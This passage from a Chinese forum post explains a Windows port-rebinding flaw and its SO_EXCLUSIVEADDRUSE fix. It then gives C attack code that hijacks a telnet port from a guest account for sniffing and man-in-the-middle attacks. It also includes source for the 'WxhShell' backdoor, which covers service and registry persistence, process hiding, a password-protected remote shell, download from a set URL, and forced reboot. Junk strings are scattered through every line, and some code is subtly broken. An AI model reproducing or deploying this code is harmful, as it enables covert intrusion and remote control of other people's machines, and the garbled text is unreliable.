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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :R.&`4=X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }h 3K@R   
7Ol}EPf#  
  saddr.sin_family = AF_INET; H:H6b  
OCy0#aPRS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BnRN;bu  
E\m5%bK\B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M,}|tsL  
c]B$i*t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -YD+(c`l  
lO:. OZu  
  这意味着什么?意味着可以进行如下的攻击: Z0De!?ALV\  
2DD:~Tbi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R}mn*h6  
^s.V;R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mZIoaF>t  
b|z g<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z!0]/mCE8  
lcV<MDS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ET];%~ ^  
8}w6z7e|{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w:' dhr':  
kF7V.m/~o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mJB2)^33a  
 fI\9\x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i@NqC;~;  
4 g. bR  
  #include U}SXJH&&E  
  #include a(]`F(L  
  #include XBQ\_2>  
  #include    #"fJa:IYG7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ob_I]~^I?|  
  int main() g]UBZ33y  
  { ^TB>.c@`*  
  WORD wVersionRequested; Q !qrNa6  
  DWORD ret; B^D(5  
  WSADATA wsaData; 9z?oB&5  
  BOOL val; q %A?V _  
  SOCKADDR_IN saddr; 1{_A:<VBl  
  SOCKADDR_IN scaddr; \Ep0J $ #o  
  int err; #}^-C&~  
  SOCKET s; #E0t?:t5bk  
  SOCKET sc; b%f[p/no  
  int caddsize; 2k6 X,  
  HANDLE mt; 1+`l7'F  
  DWORD tid;   Hx$c N  
  wVersionRequested = MAKEWORD( 2, 2 );  htY=w}>  
  err = WSAStartup( wVersionRequested, &wsaData ); C6_@\&OA  
  if ( err != 0 ) { .k4W_9  
  printf("error!WSAStartup failed!\n"); `bKA+c,f  
  return -1; e4OeoQ@ >  
  } ;d$qc<2uA  
  saddr.sin_family = AF_INET; VGL#!4wK  
   x]5@>5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]\RRqLDzkg  
FZiW|G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A|}l)!%  
  saddr.sin_port = htons(23); )Z+{|^`kJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2}?wYI*:5|  
  { l:]Nn%U(>  
  printf("error!socket failed!\n"); ~8|t*@D  
  return -1; Ff^@~X+W<  
  } p#f+P?  
  val = TRUE; AGA`fRVx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =OJ;0 /$6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,a?\M M9$  
  { 1p`+  
  printf("error!setsockopt failed!\n"); SvvUkQ#1w  
  return -1; TgU**JN)  
  } 6B$q,"%S@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uR6w|e`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t]1ubt2W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T2 ?HRx  
E99CmG|"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^5=UK7e5KY  
  { sM1RU  
  ret=GetLastError(); EPW7+Ve  
  printf("error!bind failed!\n"); *s}|Hy  
  return -1; o  A* G  
  } g=}v>[k E  
  listen(s,2); Rd+P,PO  
  while(1) +a= 0\lpOy  
  { #n\C |  
  caddsize = sizeof(scaddr); y'ja< 1I>  
  //接受连接请求 wxLXh6|6%_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6`\]derSon  
  if(sc!=INVALID_SOCKET) $3=:E36K  
  { H]<]^Zmjy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (UNtRz'=;  
  if(mt==NULL) B6Ej{q^k,  
  { ~fz[x9\  
  printf("Thread Creat Failed!\n"); $N$ FtpB  
  break; 1-I Swd'u  
  } U3vEdw<lV  
  } 5=?i;P  
  CloseHandle(mt); (B>Zaro#  
  } 0@1:M  
  closesocket(s); F)$K  
  WSACleanup(); wN37zPnV~  
  return 0; ;@ WV-bLe  
  }   WKA'=,`v  
  DWORD WINAPI ClientThread(LPVOID lpParam)  H'RL62!  
  { 6*GjP ;S =  
  SOCKET ss = (SOCKET)lpParam; VS?@y/\In  
  SOCKET sc; `29TY&p+"  
  unsigned char buf[4096]; '!v c/Hw  
  SOCKADDR_IN saddr; Ccfwax+  
  long num; ~!%0Z9>ap  
  DWORD val; MWuXI1  
  DWORD ret; Y ?]G}5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F>|9 52  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "C%!8`K{a*  
  saddr.sin_family = AF_INET; D1,O:+[;.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IN^9uL]B  
  saddr.sin_port = htons(23); %IpSK 0<Sp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8dT'xuch  
  { :s8A:mx  
  printf("error!socket failed!\n"); }\v^+scD  
  return -1; 5IMSNGS  
  } !jS4!2'  
  val = 100; hN`gB#N3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v@ONo?)  
  { +I|8Q|^SD  
  ret = GetLastError(); X7aXxPCq1  
  return -1; 6(56,i<#/  
  } & %}/AoU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TW`mxj_J2  
  { g jG2  
  ret = GetLastError(); #G _/.h@  
  return -1; x;$|#]+  
  } `rWB`q|i<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n~z\?Y=*  
  { G=M] 8+h  
  printf("error!socket connect failed!\n"); !awh*Xj6  
  closesocket(sc); Oo%!>!Lt,  
  closesocket(ss); 3 %(Y$8U  
  return -1; AfWl6a?T8:  
  } rFag@Z"["  
  while(1) #!!AbuhzK{  
  { >.dHt\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4E"d/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y4~vC[$ x'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3\!F\tqD \  
  num = recv(ss,buf,4096,0); oo'w-\2]p  
  if(num>0) #-x@"+z  
  send(sc,buf,num,0); KvFR8s  
  else if(num==0) *d*oS7  
  break; |i)lh_iN  
  num = recv(sc,buf,4096,0); 5 Rz/Ri\c=  
  if(num>0) <A~GW 'HB  
  send(ss,buf,num,0); ZL91m`r  
  else if(num==0) ,zgNE*{Y"4  
  break; N2~$r pU3  
  } cIw eBDl  
  closesocket(ss); ;bHfn-X  
  closesocket(sc); oXc/#{NC  
  return 0 ; j8 H Oc(  
  } [%.18FWI  
nlfPg-78B+  
4UCwT1  
========================================================== nTZ> |R)  
S!j^|!  
下边附上一个代码,,WXhSHELL n85r^W  
RebTg1vGu  
========================================================== N^$9;CKP=  
!P|5#.eC  
#include "stdafx.h" 2,AaP*,  
D3?N<9g  
#include <stdio.h> Qyj(L[KJ  
#include <string.h> .w'vD/q;  
#include <windows.h> jKt-~:  
#include <winsock2.h> &tBA^igXK  
#include <winsvc.h>  R<&FhT]  
#include <urlmon.h> $Xt;A&l2?  
A^pW]r=Xtk  
#pragma comment (lib, "Ws2_32.lib") u(9X  
#pragma comment (lib, "urlmon.lib") UD*+"~  
]V<"(?,K  
#define MAX_USER   100 // 最大客户端连接数 :o\5K2]:  
#define BUF_SOCK   200 // sock buffer B T7Id  
#define KEY_BUFF   255 // 输入 buffer Qq0O0U  
aF])"9  
#define REBOOT     0   // 重启 6GOg_P  
#define SHUTDOWN   1   // 关机 $r"A@69^RS  
wW()Zy0)  
#define DEF_PORT   5000 // 监听端口 xKW"X   
"-U3=+  
#define REG_LEN     16   // 注册表键长度 ~PYFYjHC  
#define SVC_LEN     80   // NT服务名长度 F"BL #g66  
:`zV [A:D  
// 从dll定义API G^KC&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @^wpAQfd4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ('BLU.7IX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9r8D*PvS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t&f" jPu>  
6K// 1U$  
// wxhshell配置信息 Q [:<S/w  
struct WSCFG { R9=K(pOT  
  int ws_port;         // 监听端口 e`ex]py<C  
  char ws_passstr[REG_LEN]; // 口令 !w=,p.?V=  
  int ws_autoins;       // 安装标记, 1=yes 0=no .Cfp'u%\;  
  char ws_regname[REG_LEN]; // 注册表键名 #11RLvDQd  
  char ws_svcname[REG_LEN]; // 服务名 $NCm;0\B|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P CsK()  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JjDS"hK#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gt'/D>FE0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U9F6d!:L7A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sS'{QIRC'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ++k J\N{  
RO$*G jQd  
}; ]+lF=kkc %  
\4@a  
// default Wxhshell configuration 'RQiLUF  
struct WSCFG wscfg={DEF_PORT, V g6S/-  
    "xuhuanlingzhe", !=knppY  
    1, +{0=<2(EC  
    "Wxhshell", 7V/Zr  
    "Wxhshell", I}ndRDz[  
            "WxhShell Service", h/9Sg*k  
    "Wrsky Windows CmdShell Service", zi_[ V@Es/  
    "Please Input Your Password: ", Cn/q=  
  1, (k#t }B[  
  "http://www.wrsky.com/wxhshell.exe", * 2%oZX F  
  "Wxhshell.exe" fr]Hc+7  
    }; UhBz<>i;!  
'v+96b/;  
// 消息定义模块 qu!<lW~c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *cQz[S@F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'rh\CA/}D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m>O2t-  
char *msg_ws_ext="\n\rExit."; ,L~snR'w  
char *msg_ws_end="\n\rQuit."; >E~~7Yal  
char *msg_ws_boot="\n\rReboot..."; aLHrl6"  
char *msg_ws_poff="\n\rShutdown..."; oo'iwq-\  
char *msg_ws_down="\n\rSave to "; y0y+%H-  
qAbd xd[  
char *msg_ws_err="\n\rErr!"; d>~`j8,B  
char *msg_ws_ok="\n\rOK!"; e~*S4dKR  
$WJy?_c  
char ExeFile[MAX_PATH]; iI}nW  
int nUser = 0; 0O^U{#*$I  
HANDLE handles[MAX_USER]; P8u"T!G  
int OsIsNt; ?qIGQ/af&  
^:U;rHY  
SERVICE_STATUS       serviceStatus; g.=!3e&z%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6iyt2q kh  
%27G2^1  
// 函数声明 | 4%v"U  
int Install(void); >LCjtm\  
int Uninstall(void); LsnXS9_  
int DownloadFile(char *sURL, SOCKET wsh); . *Z#cq0  
int Boot(int flag); F-i&M1 \_  
void HideProc(void); 78gob&p?  
int GetOsVer(void); eNivlJ,K|@  
int Wxhshell(SOCKET wsl); <%(f9j  
void TalkWithClient(void *cs); 7%X+O8  
int CmdShell(SOCKET sock); fA;x{0CAMX  
int StartFromService(void); 83X/"2-K  
int StartWxhshell(LPSTR lpCmdLine); 75PS^5T,  
oX2r?.j#M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )y5iH){ !  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gMCy$+?  
a3*.,%d  
// 数据结构和表定义 _5Bu [I  
SERVICE_TABLE_ENTRY DispatchTable[] = <)"iL4 kDI  
{ OY$7`8M[  
{wscfg.ws_svcname, NTServiceMain}, 9.jG\i  
{NULL, NULL} OfW%&LAMQ  
}; ~LSy7$rz  
,Qga|n8C  
// 自我安装 zab w!@]  
int Install(void)  -\5[Nq{N  
{ yM W'-\  
  char svExeFile[MAX_PATH]; La@\q[U{@  
  HKEY key; eO~eu]r  
  strcpy(svExeFile,ExeFile); D_zcOq9  
\gjl^# ;  
// 如果是win9x系统,修改注册表设为自启动 Y{`3`Pg&N  
if(!OsIsNt) { qNhH%tYQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D~XU `;~u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Z9.z 4\  
  RegCloseKey(key); "hJ7 Vv_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {P,>Q4N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |yuGK  
  RegCloseKey(key); V#+126  
  return 0; uF.Q ",<  
    } elNB7%Y/  
  } oM-b96  
} 0oXK&Z  
else { Ug%<b  
3#7ENV`  
// 如果是NT以上系统,安装为系统服务 {-~05,zE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1*TXDo_T  
if (schSCManager!=0) OA\vT${5  
{ ccIDMJ=2  
  SC_HANDLE schService = CreateService 6hR^qdHg  
  ( D<lQoO+  
  schSCManager, Cln^1N0  
  wscfg.ws_svcname, \z&03@Sw  
  wscfg.ws_svcdisp, J{a Q1)  
  SERVICE_ALL_ACCESS, R994R@gz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MYKs??]Y1  
  SERVICE_AUTO_START, ))8Emk^Q{  
  SERVICE_ERROR_NORMAL, )zo#1$C-  
  svExeFile, = E##},N"  
  NULL, 3Pw %[q=g  
  NULL, 9;}L{yve  
  NULL, ~5x4?2  
  NULL, ~NTDG  
  NULL g/fp45s  
  ); ly9x1`?$  
  if (schService!=0) .~FKyP>[$  
  { #JHy[!4  
  CloseServiceHandle(schService); (jD'+ "?  
  CloseServiceHandle(schSCManager); cg>!<T*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k8!hvJ)?  
  strcat(svExeFile,wscfg.ws_svcname); u<BHf@AI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ay!6 T`U`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <L[T'ZE+  
  RegCloseKey(key); liBAJx  
  return 0; HQ ELK  
    } BT y]!%r'  
  } v4nv Z6  
  CloseServiceHandle(schSCManager); 0(Yh~{   
} Nv}U/$$S  
} )*q7pO\cty  
V'Sd[*  
return 1; t ?pIE cl  
} Z1XUYe62  
R!:eYoQ  
// 自我卸载 LC~CPV'F  
int Uninstall(void) tuL\7 (R  
{ G~b`O20N  
  HKEY key; bW,BhUb,|  
[a#?}((  
if(!OsIsNt) { ?uNTUU,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4i ~eTb  
  RegDeleteValue(key,wscfg.ws_regname); xg*\j)_}  
  RegCloseKey(key); ~ z-?rW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v Ie=wf~D`  
  RegDeleteValue(key,wscfg.ws_regname); __oY:d(~  
  RegCloseKey(key); -N /8Ho  
  return 0; }.fZy&_  
  } GqmDDL1  
} N2+mN0k;  
} bUY:XmA  
else { yoq\9* ?u^  
_RA{SO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j3sz*:  
if (schSCManager!=0) >x|A7iWn{,  
{ r_!{!i3B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !3b|*].B  
  if (schService!=0) I{*.htt{  
  { tkm~KLWV&7  
  if(DeleteService(schService)!=0) { |IyM"UH  
  CloseServiceHandle(schService); rw40<SS"Z  
  CloseServiceHandle(schSCManager); v%69]a-T  
  return 0; e{q p!N1!  
  } ;L\!g%a  
  CloseServiceHandle(schService); t wa(M?  
  } XC+F! R  
  CloseServiceHandle(schSCManager); {y+v-v/#  
} #'G7mAoA  
} 2yi*eR  
B J:E,P`_  
return 1; dd?x5|/#  
} #Of<1  
#2ZrdD"5kQ  
// 从指定url下载文件 ;:8jxkx6%  
int DownloadFile(char *sURL, SOCKET wsh) e$p1Th*|]4  
{ Sh~ 8jEk  
  HRESULT hr; $w";*">:0  
char seps[]= "/"; }QApeZd+q  
char *token; kp#c:ym  
char *file; W[jW;uk  
char myURL[MAX_PATH]; +Zty}fe  
char myFILE[MAX_PATH]; kG|>_5  
';fU.uy  
strcpy(myURL,sURL); dcrJ,>i}  
  token=strtok(myURL,seps); C[J`x>-K  
  while(token!=NULL) b}EYNCw_7S  
  { (|ct`KU0#  
    file=token; lyOrM7Gs  
  token=strtok(NULL,seps); o%N0K   
  } I49=ozPP  
n41\y:CAo  
GetCurrentDirectory(MAX_PATH,myFILE); {$u@6& B  
strcat(myFILE, "\\"); gs`27Gih  
strcat(myFILE, file); btB(n<G2#  
  send(wsh,myFILE,strlen(myFILE),0); .H[Lo>  
send(wsh,"...",3,0); Ue>A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >gS5[`xRE  
  if(hr==S_OK) ;k63RNT,M&  
return 0; q6m87O9  
else pO7{3%  
return 1; 4/mj"PBKL  
vt(}ga  
} F_M~!]<na  
Xx9~  
// 系统电源模块 =E6i1x%j  
int Boot(int flag) (`uC"MLk  
{ o<Rxt *B  
  HANDLE hToken; ,Rr&.  
  TOKEN_PRIVILEGES tkp; }ii]c Y  
[w#x5Xsn  
  if(OsIsNt) { &s6(3k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :+Z>nHe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8' g*}[  
    tkp.PrivilegeCount = 1; ?[L0LL?ce  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I;|5C=!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [u9S+:7"  
if(flag==REBOOT) { B#Oc8`1Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d@q t%r3;  
  return 0; ui#1+p3G  
} /="D]K)%b8  
else { ^JF_;~C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fi-&[llg  
  return 0; NGb! 7Mu9  
} S#%JSQo:  
  } pFv[z':&Q  
  else { MCWG*~f  
if(flag==REBOOT) { RZ,<D I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i5~ /+~  
  return 0; &oK/ ]lub  
} R^Eu}?<f  
else { +D{*L0$D"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xz Gsfd  
  return 0; "=Fn.r4I  
} U~zN*2-  
} [0,q7d?"  
MkV*+LXC  
return 1; GWkJ/EX  
} (j"~]T!)1  
y8(?:#ZC  
// win9x进程隐藏模块 fb=$<0Ocj  
void HideProc(void) PB3!;  
{ VkP:%-*#v  
X m:gD6;9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?D$b%G{  
  if ( hKernel != NULL ) s%TO(vT  
  { @*`UOgP7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |{|r? 3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G]3ML)l  
    FreeLibrary(hKernel); :Ro" 0/d  
  } F# 37Qv  
J'Mgj$T $  
return; 5)zh@aJ@  
} .]P;fCQmM  
BQfAen]  
// 获取操作系统版本 0 f#a_  
int GetOsVer(void) ]zR;%p  
{ R7;rBEt8  
  OSVERSIONINFO winfo; ,;ruH^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BO\`m%8md  
  GetVersionEx(&winfo); OaCj3d>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DSG +TA"  
  return 1; 4;~lpty  
  else m&jt[   
  return 0; q ]R @:a/  
} (LvOsr~  
*p5T  
// 客户端句柄模块 h'q0eqYeu)  
int Wxhshell(SOCKET wsl) VFaK>gQ  
{ [@?.}!  
  SOCKET wsh; R O3e  
  struct sockaddr_in client; )+{omQ7v  
  DWORD myID; TboHP/  
,["|wqM  
  while(nUser<MAX_USER) &T/9y W[L  
{ j]F3[gpc  
  int nSize=sizeof(client); YHv,Z|.w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MVU'GHv  
  if(wsh==INVALID_SOCKET) return 1; xp;8p94   
w#bbm'j7r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .1q~,}toX  
if(handles[nUser]==0) 3/|{>7]1  
  closesocket(wsh); % |Gzht\  
else &l}xBQAL  
  nUser++; T7Qd I[K%b  
  } X%\6V;zR#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B46H@]d#7K  
\]:NOmI^'  
  return 0; ghd[G}  
} j tkPi)QR  
K.L+; nQ  
// 关闭 socket f%%En5e +  
void CloseIt(SOCKET wsh) Q_h+r! b  
{ ?;7>`F6ld  
closesocket(wsh); f7AJSHe  
nUser--;  ~9jP++&  
ExitThread(0); &IPK5o,  
} 73Zs/  
yT9RNo/w  
// 客户端请求句柄 GN"LU>9|  
void TalkWithClient(void *cs) 7}7C0mV3  
{ BCDf9]X  
]qG5 Ne _  
  SOCKET wsh=(SOCKET)cs; <yaw9k+P  
  char pwd[SVC_LEN]; IG@&l0ARL  
  char cmd[KEY_BUFF]; k.f:nv5JO  
char chr[1]; iP\&fZY_  
int i,j; I8wVvs;k  
"YU~QOGx@  
  while (nUser < MAX_USER) { ^9~%=k=  
D7 '0o`|  
if(wscfg.ws_passstr) { Y`p&*O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] Lft^,7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ill'K Py  
  //ZeroMemory(pwd,KEY_BUFF); ED_5V@  
      i=0; T7nX8{l[RG  
  while(i<SVC_LEN) {  0 9'o  
v8(u9V%?6  
  // 设置超时 DMpd(ws  
  fd_set FdRead; %SFR.U0}yK  
  struct timeval TimeOut; wq`Kyhk  
  FD_ZERO(&FdRead); s|`)'  
  FD_SET(wsh,&FdRead); h/~BUg'  
  TimeOut.tv_sec=8; on&=%tCAL  
  TimeOut.tv_usec=0; *wyLX9{:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [4yQbqe;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0s[3:bZ\Ia  
qCT\rZU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _( /lBf{|  
  pwd=chr[0]; gxtbu$  
  if(chr[0]==0xd || chr[0]==0xa) { tdK^X1  
  pwd=0; AsF`A"Cdw<  
  break; 2G> ]W?>  
  } xJ5!` #=  
  i++; k(Xv&Zn  
    } 4^9_E &Fa  
yp'>+cLa  
  // 如果是非法用户,关闭 socket A>@e pCD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l+qtA~V&2  
} [:'?}p  
VQ}3r)ch  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l:}4 6%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -%$ dFq  
OvG|=  
while(1) { wA&)y>n-  
Y\S^DJy  
  ZeroMemory(cmd,KEY_BUFF); _qNLy/AY  
'0rwNEg  
      // 自动支持客户端 telnet标准   -{mq\GvGn  
  j=0; nit7|T@^  
  while(j<KEY_BUFF) { *dgN pJ 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Hj)S](F  
  cmd[j]=chr[0]; |^!@  
  if(chr[0]==0xa || chr[0]==0xd) { 5W-M8dc6  
  cmd[j]=0; ;itg>\ p3  
  break; rmJ847%y`  
  } <Wq{ V;$  
  j++; K0a 50@B]  
    } }-iOYSn  
mSeN M  
  // 下载文件 8 z7,W3b  
  if(strstr(cmd,"http://")) { Lwk-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bUL9*{>G  
  if(DownloadFile(cmd,wsh)) '" yl>"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_3qUcOP  
  else vH8%a8V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]iX$p~riH  
  } Rj= Om  
  else { DlO;EH  
H.K`#W&  
    switch(cmd[0]) { w+P^c|  
  yBKlp08J  
  // 帮助 `vBa.)u  
  case '?': { i|'t!3I^m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^2@~AD`&h  
    break; (Ad! hyE(  
  } o|C{ s   
  // 安装 ;wB  3H  
  case 'i': { T0jJp7O  
    if(Install()) ~cwwB{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G"w Q(6J@  
    else O,#[m:Ejb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !%9I%Ak^  
    break; DJUtuex  
    } \(L^ /]}G)  
  // 卸载 LXl! !i%  
  case 'r': { yK3z3"1M?  
    if(Uninstall()) n3,wwymQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gu&oCT  
    else ij5YV3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KR0 x[#.*  
    break; %Ski5q  
    } i*j+<R@  
  // 显示 wxhshell 所在路径 0k [6  
  case 'p': { nsk 6a  
    char svExeFile[MAX_PATH]; R0'EoX  
    strcpy(svExeFile,"\n\r"); ?>&Zm$5V  
      strcat(svExeFile,ExeFile); s6uAF(4,  
        send(wsh,svExeFile,strlen(svExeFile),0); Cn '=_1p  
    break; U7?ez  
    } H)tDfk sq\  
  // 重启 F{tSfKy2  
  case 'b': { L~~Yh{<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J K^;-&  
    if(Boot(REBOOT)) Y1IlH8+0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O2f2Fb$B7  
    else { c-d}E!C:  
    closesocket(wsh); w.H+$=aK  
    ExitThread(0); ?C3cPt"  
    } <^{:K`  
    break; +6atbbe}   
    } W^f#xrq>  
  // 关机 TVA1FD  
